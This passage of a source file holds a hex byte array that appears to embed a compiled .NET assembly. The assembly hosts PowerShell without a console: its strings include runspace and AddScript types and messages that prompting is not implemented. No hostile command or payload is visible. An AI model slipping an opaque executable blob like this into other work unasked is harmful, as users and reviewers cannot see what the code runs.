0x6F,0x75,0x6E,0x64,0x43,0x6F,0x6C,0x6F,0x72,0x00,0x73,0x65, 521 | 0x74,0x5F,0x42,0x61,0x63,0x6B,0x67,0x72,0x6F,0x75,0x6E,0x64, 522 | 0x43,0x6F,0x6C,0x6F,0x72,0x00,0x5F,0x62,0x61,0x63,0x6B,0x67, 523 | 0x72,0x6F,0x75,0x6E,0x64,0x43,0x6F,0x6C,0x6F,0x72,0x00,0x43, 524 | 0x6F,0x6E,0x73,0x6F,0x6C,0x65,0x43,0x6F,0x6C,0x6F,0x72,0x00, 525 | 0x2E,0x63,0x74,0x6F,0x72,0x00,0x53,0x79,0x73,0x74,0x65,0x6D, 526 | 0x2E,0x44,0x69,0x61,0x67,0x6E,0x6F,0x73,0x74,0x69,0x63,0x73, 527 | 0x00,0x67,0x65,0x74,0x5F,0x43,0x6F,0x6D,0x6D,0x61,0x6E,0x64, 528 | 0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x4D,0x61,0x6E, 529 | 0x61,0x67,0x65,0x6D,0x65,0x6E,0x74,0x2E,0x41,0x75,0x74,0x6F, 530 | 0x6D,0x61,0x74,0x69,0x6F,0x6E,0x2E,0x52,0x75,0x6E,0x73,0x70, 531 | 0x61,0x63,0x65,0x73,0x00,0x63,0x68,0x6F,0x69,0x63,0x65,0x73, 532 | 0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x75,0x6E,0x74, 533 | 0x69,0x6D,0x65,0x2E,0x49,0x6E,0x74,0x65,0x72,0x6F,0x70,0x53, 534 | 0x65,0x72,0x76,0x69,0x63,0x65,0x73,0x00,0x53,0x79,0x73,0x74, 535 | 0x65,0x6D,0x2E,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x2E,0x43, 536 | 0x6F,0x6D,0x70,0x69,0x6C,0x65,0x72,0x53,0x65,0x72,0x76,0x69, 537 | 0x63,0x65,0x73,0x00,0x44,0x65,0x62,0x75,0x67,0x67,0x69,0x6E, 538 | 0x67,0x4D,0x6F,0x64,0x65,0x73,0x00,0x50,0x53,0x43,0x72,0x65, 539 | 0x64,0x65,0x6E,0x74,0x69,0x61,0x6C,0x54,0x79,0x70,0x65,0x73, 540 | 0x00,0x61,0x6C,0x6C,0x6F,0x77,0x65,0x64,0x43,0x72,0x65,0x64, 541 | 0x65,0x6E,0x74,0x69,0x61,0x6C,0x54,0x79,0x70,0x65,0x73,0x00, 542 | 0x50,0x69,0x70,0x65,0x6C,0x69,0x6E,0x65,0x52,0x65,0x73,0x75, 543 | 0x6C,0x74,0x54,0x79,0x70,0x65,0x73,0x00,0x43,0x6F,0x6F,0x72, 544 | 0x64,0x69,0x6E,0x61,0x74,0x65,0x73,0x00,0x50,0x53,0x43,0x72, 545 | 0x65,0x64,0x65,0x6E,0x74,0x69,0x61,0x6C,0x55,0x49,0x4F,0x70, 546 | 0x74,0x69,0x6F,0x6E,0x73,0x00,0x52,0x65,0x61,0x64,0x4B,0x65, 547 | 0x79,0x4F,0x70,0x74,0x69,0x6F,0x6E,0x73,0x00,0x64,0x65,0x73, 548 | 0x63,0x72,0x69,0x70,0x74,0x69,0x6F,0x6E,0x73,0x00,0x6F,0x70, 549 | 0x74,0x69,0x6F,0x6E,0x73,0x00,0x57,0x72,0x69,0x74,0x65,0x50, 550 | 0x72,0x6F,0x67,0x72,0x65,0x73,0x73,0x00,0x4D,0x65,0x72,0x67, 551 | 0x65,0x4D,0x79,0x52,0x65,0x73,0x75,0x6C,0x74,0x73,0x00,0x53, 552 | 0x63,0x72,0x6F,0x6C,0x6C,0x42,0x75,0x66,0x66,0x65,0x72,0x43, 553 | 0x6F,0x6E,0x74,0x65,0x6E,0x74,0x73,0x00,0x47,0x65,0x74,0x42, 554 | 0x75,0x66,0x66,0x65,0x72,0x43,0x6F,0x6E,0x74,0x65,0x6E,0x74, 555 | 0x73,0x00,0x53,0x65,0x74,0x42,0x75,0x66,0x66,0x65,0x72,0x43, 556 | 0x6F,0x6E,0x74,0x65,0x6E,0x74,0x73,0x00,0x63,0x6F,0x6E,0x74, 557 | 0x65,0x6E,0x74,0x73,0x00,0x43,0x6F,0x6E,0x63,0x61,0x74,0x00, 558 | 0x50,0x53,0x4F,0x62,0x6A,0x65,0x63,0x74,0x00,0x73,0x65,0x74, 559 | 0x5F,0x48,0x65,0x69,0x67,0x68,0x74,0x00,0x53,0x65,0x74,0x53, 560 | 0x68,0x6F,0x75,0x6C,0x64,0x45,0x78,0x69,0x74,0x00,0x43,0x72, 561 | 0x65,0x61,0x74,0x65,0x44,0x65,0x66,0x61,0x75,0x6C,0x74,0x00, 562 | 0x41,0x64,0x64,0x53,0x63,0x72,0x69,0x70,0x74,0x00,0x45,0x6E, 563 | 0x74,0x65,0x72,0x4E,0x65,0x73,0x74,0x65,0x64,0x50,0x72,0x6F, 564 | 0x6D,0x70,0x74,0x00,0x45,0x78,0x69,0x74,0x4E,0x65,0x73,0x74, 565 | 0x65,0x64,0x50,0x72,0x6F,0x6D,0x70,0x74,0x00,0x53,0x79,0x73, 566 | 0x74,0x65,0x6D,0x2E,0x4D,0x61,0x6E,0x61,0x67,0x65,0x6D,0x65, 567 | 0x6E,0x74,0x2E,0x41,0x75,0x74,0x6F,0x6D,0x61,0x74,0x69,0x6F, 568 | 0x6E,0x2E,0x48,0x6F,0x73,0x74,0x00,0x43,0x75,0x73,0x74,0x6F, 569 | 0x6D,0x50,0x53,0x48,0x6F,0x73,0x74,0x00,0x67,0x65,0x74,0x5F, 570 | 0x4F,0x75,0x74,0x70,0x75,0x74,0x00,0x53,0x79,0x73,0x74,0x65, 571 | 0x6D,0x2E,0x54,0x65,0x78,0x74,0x00,0x52,0x65,0x61,0x64,0x4B, 572 | 0x65,0x79,0x00,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x46, 573 | 0x61,0x63,0x74,0x6F,0x72,0x79,0x00,0x53,0x79,0x73,0x74,0x65, 574 | 0x6D,0x2E,0x53,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x00,0x00, 575 | 0x00,0x17,0x6F,0x00,0x75,0x00,0x74,0x00,0x2D,0x00,0x64,0x00, 576 | 0x65,0x00,0x66,0x00,0x61,0x00,0x75,0x00,0x6C,0x00,0x74,0x00, 577 | 0x01,0x17,0x43,0x00,0x6F,0x00,0x6E,0x00,0x73,0x00,0x6F,0x00, 578 | 0x6C,0x00,0x65,0x00,0x48,0x00,0x6F,0x00,0x73,0x00,0x74,0x00, 579 | 0x00,0x81,0x77,0x45,0x00,0x6E,0x00,0x74,0x00,0x65,0x00,0x72, 580 | 0x00,0x4E,0x00,0x65,0x00,0x73,0x00,0x74,0x00,0x65,0x00,0x64, 581 | 0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x6D,0x00,0x70,0x00,0x74, 582 | 0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x6E,0x00,0x6F, 583 | 0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x6D,0x00,0x70,0x00,0x6C, 584 | 0x00,0x65,0x00,0x6D,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x65, 585 | 0x00,0x64,0x00,0x2E,0x00,0x20,0x00,0x20,0x00,0x54,0x00,0x68, 586 | 0x00,0x65,0x00,0x20,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x69, 587 | 0x00,0x70,0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20, 588 | 0x00,0x61,0x00,0x73,0x00,0x6B,0x00,0x69,0x00,0x6E,0x00,0x67, 589 | 0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x69, 590 | 0x00,0x6E,0x00,0x70,0x00,0x75,0x00,0x74,0x00,0x2C,0x00,0x20, 591 | 0x00,0x77,0x00,0x68,0x00,0x69,0x00,0x63,0x00,0x68,0x00,0x20, 592 | 0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x61,0x00,0x20,0x00,0x70, 593 | 0x00,0x72,0x00,0x6F,0x00,0x62,0x00,0x6C,0x00,0x65,0x00,0x6D, 594 | 0x00,0x20,0x00,0x73,0x00,0x69,0x00,0x6E,0x00,0x63,0x00,0x65, 595 | 0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x72,0x00,0x65, 596 | 0x00,0x27,0x00,0x73,0x00,0x20,0x00,0x6E,0x00,0x6F,0x00,0x20, 597 | 0x00,0x63,0x00,0x6F,0x00,0x6E,0x00,0x73,0x00,0x6F,0x00,0x6C, 598 | 0x00,0x65,0x00,0x2E,0x00,0x20,0x00,0x20,0x00,0x4D,0x00,0x61, 599 | 0x00,0x6B,0x00,0x65,0x00,0x20,0x00,0x73,0x00,0x75,0x00,0x72, 600 | 0x00,0x65,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x20, 601 | 0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x69,0x00,0x70,0x00,0x74, 602 | 0x00,0x20,0x00,0x63,0x00,0x61,0x00,0x6E,0x00,0x20,0x00,0x65, 603 | 0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00,0x74,0x00,0x65, 604 | 0x00,0x20,0x00,0x77,0x00,0x69,0x00,0x74,0x00,0x68,0x00,0x6F, 605 | 0x00,0x75,0x00,0x74,0x00,0x20,0x00,0x70,0x00,0x72,0x00,0x6F, 606 | 0x00,0x6D,0x00,0x70,0x00,0x74,0x00,0x69,0x00,0x6E,0x00,0x67, 607 | 0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x20,0x00,0x75, 608 | 0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x20,0x00,0x66,0x00,0x6F, 609 | 0x00,0x72,0x00,0x20,0x00,0x69,0x00,0x6E,0x00,0x70,0x00,0x75, 610 | 0x00,0x74,0x00,0x2E,0x00,0x01,0x81,0x75,0x45,0x00,0x78,0x00, 611 | 0x69,0x00,0x74,0x00,0x4E,0x00,0x65,0x00,0x73,0x00,0x74,0x00, 612 | 0x65,0x00,0x64,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x6D,0x00, 613 | 0x70,0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00, 614 | 0x6E,0x00,0x6F,0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x6D,0x00, 615 | 0x70,0x00,0x6C,0x00,0x65,0x00,0x6D,0x00,0x65,0x00,0x6E,0x00, 616 | 0x74,0x00,0x65,0x00,0x64,0x00,0x2E,0x00,0x20,0x00,0x20,0x00, 617 | 0x54,0x00,0x68,0x00,0x65,0x00,0x20,0x00,0x73,0x00,0x63,0x00, 618 | 0x72,0x00,0x69,0x00,0x70,0x00,0x74,0x00,0x20,0x00,0x69,0x00, 619 | 0x73,0x00,0x20,0x00,0x61,0x00,0x73,0x00,0x6B,0x00,0x69,0x00, 620 | 0x6E,0x00,0x67,0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00, 621 | 0x20,0x00,0x69,0x00,0x6E,0x00,0x70,0x00,0x75,0x00,0x74,0x00, 622 | 0x2C,0x00,0x20,0x00,0x77,0x00,0x68,0x00,0x69,0x00,0x63,0x00, 623 | 0x68,0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x61,0x00, 624 | 0x20,0x00,0x70,0x00,0x72,0x00,0x6F,0x00,0x62,0x00,0x6C,0x00, 625 | 0x65,0x00,0x6D,0x00,0x20,0x00,0x73,0x00,0x69,0x00,0x6E,0x00, 626 | 0x63,0x00,0x65,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00, 627 | 0x72,0x00,0x65,0x00,0x27,0x00,0x73,0x00,0x20,0x00,0x6E,0x00, 628 | 0x6F,0x00,0x20,0x00,0x63,0x00,0x6F,0x00,0x6E,0x00,0x73,0x00, 629 | 0x6F,0x00,0x6C,0x00,0x65,0x00,0x2E,0x00,0x20,0x00,0x20,0x00, 630 | 0x4D,0x00,0x61,0x00,0x6B,0x00,0x65,0x00,0x20,0x00,0x73,0x00, 631 | 0x75,0x00,0x72,0x00,0x65,0x00,0x20,0x00,0x74,0x00,0x68,0x00, 632 | 0x65,0x00,0x20,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x69,0x00, 633 | 0x70,0x00,0x74,0x00,0x20,0x00,0x63,0x00,0x61,0x00,0x6E,0x00, 634 | 0x20,0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00, 635 | 0x74,0x00,0x65,0x00,0x20,0x00,0x77,0x00,0x69,0x00,0x74,0x00, 636 | 0x68,0x00,0x6F,0x00,0x75,0x00,0x74,0x00,0x20,0x00,0x70,0x00, 637 | 0x72,0x00,0x6F,0x00,0x6D,0x00,0x70,0x00,0x74,0x00,0x69,0x00, 638 | 0x6E,0x00,0x67,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00, 639 | 0x20,0x00,0x75,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x20,0x00, 640 | 0x66,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x69,0x00,0x6E,0x00, 641 | 0x70,0x00,0x75,0x00,0x74,0x00,0x2E,0x00,0x01,0x03,0x0A,0x00, 642 | 0x00,0x0F,0x44,0x00,0x45,0x00,0x42,0x00,0x55,0x00,0x47,0x00, 643 | 0x3A,0x00,0x20,0x00,0x00,0x0F,0x45,0x00,0x52,0x00,0x52,0x00, 644 | 0x4F,0x00,0x52,0x00,0x3A,0x00,0x20,0x00,0x00,0x13,0x56,0x00, 645 | 0x45,0x00,0x52,0x00,0x42,0x00,0x4F,0x00,0x53,0x00,0x45,0x00, 646 | 0x3A,0x00,0x20,0x00,0x00,0x13,0x57,0x00,0x41,0x00,0x52,0x00, 647 | 0x4E,0x00,0x49,0x00,0x4E,0x00,0x47,0x00,0x3A,0x00,0x20,0x00, 648 | 0x00,0x81,0x61,0x50,0x00,0x72,0x00,0x6F,0x00,0x6D,0x00,0x70, 649 | 0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x6E, 650 | 0x00,0x6F,0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x6D,0x00,0x70, 651 | 0x00,0x6C,0x00,0x65,0x00,0x6D,0x00,0x65,0x00,0x6E,0x00,0x74, 652 | 0x00,0x65,0x00,0x64,0x00,0x2E,0x00,0x20,0x00,0x20,0x00,0x54, 653 | 0x00,0x68,0x00,0x65,0x00,0x20,0x00,0x73,0x00,0x63,0x00,0x72, 654 | 0x00,0x69,0x00,0x70,0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x73, 655 | 0x00,0x20,0x00,0x61,0x00,0x73,0x00,0x6B,0x00,0x69,0x00,0x6E, 656 | 0x00,0x67,0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00,0x20, 657 | 0x00,0x69,0x00,0x6E,0x00,0x70,0x00,0x75,0x00,0x74,0x00,0x2C, 658 | 0x00,0x20,0x00,0x77,0x00,0x68,0x00,0x69,0x00,0x63,0x00,0x68, 659 | 0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x61,0x00,0x20, 660 | 0x00,0x70,0x00,0x72,0x00,0x6F,0x00,0x62,0x00,0x6C,0x00,0x65, 661 | 0x00,0x6D,0x00,0x20,0x00,0x73,0x00,0x69,0x00,0x6E,0x00,0x63, 662 | 0x00,0x65,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x72, 663 | 0x00,0x65,0x00,0x27,0x00,0x73,0x00,0x20,0x00,0x6E,0x00,0x6F, 664 | 0x00,0x20,0x00,0x63,0x00,0x6F,0x00,0x6E,0x00,0x73,0x00,0x6F, 665 | 0x00,0x6C,0x00,0x65,0x00,0x2E,0x00,0x20,0x00,0x20,0x00,0x4D, 666 | 0x00,0x61,0x00,0x6B,0x00,0x65,0x00,0x20,0x00,0x73,0x00,0x75, 667 | 0x00,0x72,0x00,0x65,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65, 668 | 0x00,0x20,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x69,0x00,0x70, 669 | 0x00,0x74,0x00,0x20,0x00,0x63,0x00,0x61,0x00,0x6E,0x00,0x20, 670 | 0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00,0x74, 671 | 0x00,0x65,0x00,0x20,0x00,0x77,0x00,0x69,0x00,0x74,0x00,0x68, 672 | 0x00,0x6F,0x00,0x75,0x00,0x74,0x00,0x20,0x00,0x70,0x00,0x72, 673 | 0x00,0x6F,0x00,0x6D,0x00,0x70,0x00,0x74,0x00,0x69,0x00,0x6E, 674 | 0x00,0x67,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x20, 675 | 0x00,0x75,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x20,0x00,0x66, 676 | 0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x69,0x00,0x6E,0x00,0x70, 677 | 0x00,0x75,0x00,0x74,0x00,0x2E,0x00,0x01,0x81,0x73,0x50,0x00, 678 | 0x72,0x00,0x6F,0x00,0x6D,0x00,0x70,0x00,0x74,0x00,0x46,0x00, 679 | 0x6F,0x00,0x72,0x00,0x43,0x00,0x68,0x00,0x6F,0x00,0x69,0x00, 680 | 0x63,0x00,0x65,0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00, 681 | 0x6E,0x00,0x6F,0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x6D,0x00, 682 | 0x70,0x00,0x6C,0x00,0x65,0x00,0x6D,0x00,0x65,0x00,0x6E,0x00, 683 | 0x74,0x00,0x65,0x00,0x64,0x00,0x2E,0x00,0x20,0x00,0x20,0x00, 684 | 0x54,0x00,0x68,0x00,0x65,0x00,0x20,0x00,0x73,0x00,0x63,0x00, 685 | 0x72,0x00,0x69,0x00,0x70,0x00,0x74,0x00,0x20,0x00,0x69,0x00, 686 | 0x73,0x00,0x20,0x00,0x61,0x00,0x73,0x00,0x6B,0x00,0x69,0x00, 687 | 0x6E,0x00,0x67,0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00, 688 | 0x20,0x00,0x69,0x00,0x6E,0x00,0x70,0x00,0x75,0x00,0x74,0x00, 689 | 0x2C,0x00,0x20,0x00,0x77,0x00,0x68,0x00,0x69,0x00,0x63,0x00, 690 | 0x68,0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x61,0x00, 691 | 0x20,0x00,0x70,0x00,0x72,0x00,0x6F,0x00,0x62,0x00,0x6C,0x00, 692 | 0x65,0x00,0x6D,0x00,0x20,0x00,0x73,0x00,0x69,0x00,0x6E,0x00, 693 | 0x63,0x00,0x65,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00, 694 | 0x72,0x00,0x65,0x00,0x27,0x00,0x73,0x00,0x20,0x00,0x6E,0x00, 695 | 0x6F,0x00,0x20,0x00,0x63,0x00,0x6F,0x00,0x6E,0x00,0x73,0x00, 696 | 0x6F,0x00,0x6C,0x00,0x65,0x00,0x2E,0x00,0x20,0x00,0x20,0x00, 697 | 0x4D,0x00,0x61,0x00,0x6B,0x00,0x65,0x00,0x20,0x00,0x73,0x00, 698 | 0x75,0x00,0x72,0x00,0x65,0x00,0x20,0x00,0x74,0x00,0x68,0x00, 699 | 0x65,0x00,0x20,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x69,0x00, 700 | 0x70,0x00,0x74,0x00,0x20,0x00,0x63,0x00,0x61,0x00,0x6E,0x00, 701 | 0x20,0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00, 702 | 0x74,0x00,0x65,0x00,0x20,0x00,0x77,0x00,0x69,0x00,0x74,0x00, 703 | 0x68,0x00,0x6F,0x00,0x75,0x00,0x74,0x00,0x20,0x00,0x70,0x00, 704 | 0x72,0x00,0x6F,0x00,0x6D,0x00,0x70,0x00,0x74,0x00,0x69,0x00, 705 | 0x6E,0x00,0x67,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00, 706 | 0x20,0x00,0x75,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x20,0x00, 707 | 0x66,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x69,0x00,0x6E,0x00, 708 | 0x70,0x00,0x75,0x00,0x74,0x00,0x2E,0x00,0x01,0x81,0x7D,0x50, 709 | 0x00,0x72,0x00,0x6F,0x00,0x6D,0x00,0x70,0x00,0x74,0x00,0x46, 710 | 0x00,0x6F,0x00,0x72,0x00,0x43,0x00,0x72,0x00,0x65,0x00,0x64, 711 | 0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x69,0x00,0x61,0x00,0x6C, 712 | 0x00,0x31,0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x6E, 713 | 0x00,0x6F,0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x6D,0x00,0x70, 714 | 0x00,0x6C,0x00,0x65,0x00,0x6D,0x00,0x65,0x00,0x6E,0x00,0x74, 715 | 0x00,0x65,0x00,0x64,0x00,0x2E,0x00,0x20,0x00,0x20,0x00,0x54, 716 | 0x00,0x68,0x00,0x65,0x00,0x20,0x00,0x73,0x00,0x63,0x00,0x72, 717 | 0x00,0x69,0x00,0x70,0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x73, 718 | 0x00,0x20,0x00,0x61,0x00,0x73,0x00,0x6B,0x00,0x69,0x00,0x6E, 719 | 0x00,0x67,0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00,0x20, 720 | 0x00,0x69,0x00,0x6E,0x00,0x70,0x00,0x75,0x00,0x74,0x00,0x2C, 721 | 0x00,0x20,0x00,0x77,0x00,0x68,0x00,0x69,0x00,0x63,0x00,0x68, 722 | 0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x61,0x00,0x20, 723 | 0x00,0x70,0x00,0x72,0x00,0x6F,0x00,0x62,0x00,0x6C,0x00,0x65, 724 | 0x00,0x6D,0x00,0x20,0x00,0x73,0x00,0x69,0x00,0x6E,0x00,0x63, 725 | 0x00,0x65,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x72, 726 | 0x00,0x65,0x00,0x27,0x00,0x73,0x00,0x20,0x00,0x6E,0x00,0x6F, 727 | 0x00,0x20,0x00,0x63,0x00,0x6F,0x00,0x6E,0x00,0x73,0x00,0x6F, 728 | 0x00,0x6C,0x00,0x65,0x00,0x2E,0x00,0x20,0x00,0x20,0x00,0x4D, 729 | 0x00,0x61,0x00,0x6B,0x00,0x65,0x00,0x20,0x00,0x73,0x00,0x75, 730 | 0x00,0x72,0x00,0x65,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65, 731 | 0x00,0x20,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x69,0x00,0x70, 732 | 0x00,0x74,0x00,0x20,0x00,0x63,0x00,0x61,0x00,0x6E,0x00,0x20, 733 | 0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00,0x74, 734 | 0x00,0x65,0x00,0x20,0x00,0x77,0x00,0x69,0x00,0x74,0x00,0x68, 735 | 0x00,0x6F,0x00,0x75,0x00,0x74,0x00,0x20,0x00,0x70,0x00,0x72, 736 | 0x00,0x6F,0x00,0x6D,0x00,0x70,0x00,0x74,0x00,0x69,0x00,0x6E, 737 | 0x00,0x67,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x20, 738 | 0x00,0x75,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x20,0x00,0x66, 739 | 0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x69,0x00,0x6E,0x00,0x70, 740 | 0x00,0x75,0x00,0x74,0x00,0x2E,0x00,0x01,0x81,0x7D,0x50,0x00, 741 | 0x72,0x00,0x6F,0x00,0x6D,0x00,0x70,0x00,0x74,0x00,0x46,0x00, 742 | 0x6F,0x00,0x72,0x00,0x43,0x00,0x72,0x00,0x65,0x00,0x64,0x00, 743 | 0x65,0x00,0x6E,0x00,0x74,0x00,0x69,0x00,0x61,0x00,0x6C,0x00, 744 | 0x32,0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x6E,0x00, 745 | 0x6F,0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x6D,0x00,0x70,0x00, 746 | 0x6C,0x00,0x65,0x00,0x6D,0x00,0x65,0x00,0x6E,0x00,0x74,0x00, 747 | 0x65,0x00,0x64,0x00,0x2E,0x00,0x20,0x00,0x20,0x00,0x54,0x00, 748 | 0x68,0x00,0x65,0x00,0x20,0x00,0x73,0x00,0x63,0x00,0x72,0x00, 749 | 0x69,0x00,0x70,0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x73,0x00, 750 | 0x20,0x00,0x61,0x00,0x73,0x00,0x6B,0x00,0x69,0x00,0x6E,0x00, 751 | 0x67,0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00,0x20,0x00, 752 | 0x69,0x00,0x6E,0x00,0x70,0x00,0x75,0x00,0x74,0x00,0x2C,0x00, 753 | 0x20,0x00,0x77,0x00,0x68,0x00,0x69,0x00,0x63,0x00,0x68,0x00, 754 | 0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x61,0x00,0x20,0x00, 755 | 0x70,0x00,0x72,0x00,0x6F,0x00,0x62,0x00,0x6C,0x00,0x65,0x00, 756 | 0x6D,0x00,0x20,0x00,0x73,0x00,0x69,0x00,0x6E,0x00,0x63,0x00, 757 | 0x65,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x72,0x00, 758 | 0x65,0x00,0x27,0x00,0x73,0x00,0x20,0x00,0x6E,0x00,0x6F,0x00, 759 | 0x20,0x00,0x63,0x00,0x6F,0x00,0x6E,0x00,0x73,0x00,0x6F,0x00, 760 | 0x6C,0x00,0x65,0x00,0x2E,0x00,0x20,0x00,0x20,0x00,0x4D,0x00, 761 | 0x61,0x00,0x6B,0x00,0x65,0x00,0x20,0x00,0x73,0x00,0x75,0x00, 762 | 0x72,0x00,0x65,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00, 763 | 0x20,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x69,0x00,0x70,0x00, 764 | 0x74,0x00,0x20,0x00,0x63,0x00,0x61,0x00,0x6E,0x00,0x20,0x00, 765 | 0x65,0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00,0x74,0x00, 766 | 0x65,0x00,0x20,0x00,0x77,0x00,0x69,0x00,0x74,0x00,0x68,0x00, 767 | 0x6F,0x00,0x75,0x00,0x74,0x00,0x20,0x00,0x70,0x00,0x72,0x00, 768 | 0x6F,0x00,0x6D,0x00,0x70,0x00,0x74,0x00,0x69,0x00,0x6E,0x00, 769 | 0x67,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x20,0x00, 770 | 0x75,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x20,0x00,0x66,0x00, 771 | 0x6F,0x00,0x72,0x00,0x20,0x00,0x69,0x00,0x6E,0x00,0x70,0x00, 772 | 0x75,0x00,0x74,0x00,0x2E,0x00,0x01,0x81,0x65,0x52,0x00,0x65, 773 | 0x00,0x61,0x00,0x64,0x00,0x4C,0x00,0x69,0x00,0x6E,0x00,0x65, 774 | 0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x6E,0x00,0x6F, 775 | 0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x6D,0x00,0x70,0x00,0x6C, 776 | 0x00,0x65,0x00,0x6D,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x65, 777 | 0x00,0x64,0x00,0x2E,0x00,0x20,0x00,0x20,0x00,0x54,0x00,0x68, 778 | 0x00,0x65,0x00,0x20,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x69, 779 | 0x00,0x70,0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20, 780 | 0x00,0x61,0x00,0x73,0x00,0x6B,0x00,0x69,0x00,0x6E,0x00,0x67, 781 | 0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x69, 782 | 0x00,0x6E,0x00,0x70,0x00,0x75,0x00,0x74,0x00,0x2C,0x00,0x20, 783 | 0x00,0x77,0x00,0x68,0x00,0x69,0x00,0x63,0x00,0x68,0x00,0x20, 784 | 0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x61,0x00,0x20,0x00,0x70, 785 | 0x00,0x72,0x00,0x6F,0x00,0x62,0x00,0x6C,0x00,0x65,0x00,0x6D, 786 | 0x00,0x20,0x00,0x73,0x00,0x69,0x00,0x6E,0x00,0x63,0x00,0x65, 787 | 0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x72,0x00,0x65, 788 | 0x00,0x27,0x00,0x73,0x00,0x20,0x00,0x6E,0x00,0x6F,0x00,0x20, 789 | 0x00,0x63,0x00,0x6F,0x00,0x6E,0x00,0x73,0x00,0x6F,0x00,0x6C, 790 | 0x00,0x65,0x00,0x2E,0x00,0x20,0x00,0x20,0x00,0x4D,0x00,0x61, 791 | 0x00,0x6B,0x00,0x65,0x00,0x20,0x00,0x73,0x00,0x75,0x00,0x72, 792 | 0x00,0x65,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x20, 793 | 0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x69,0x00,0x70,0x00,0x74, 794 | 0x00,0x20,0x00,0x63,0x00,0x61,0x00,0x6E,0x00,0x20,0x00,0x65, 795 | 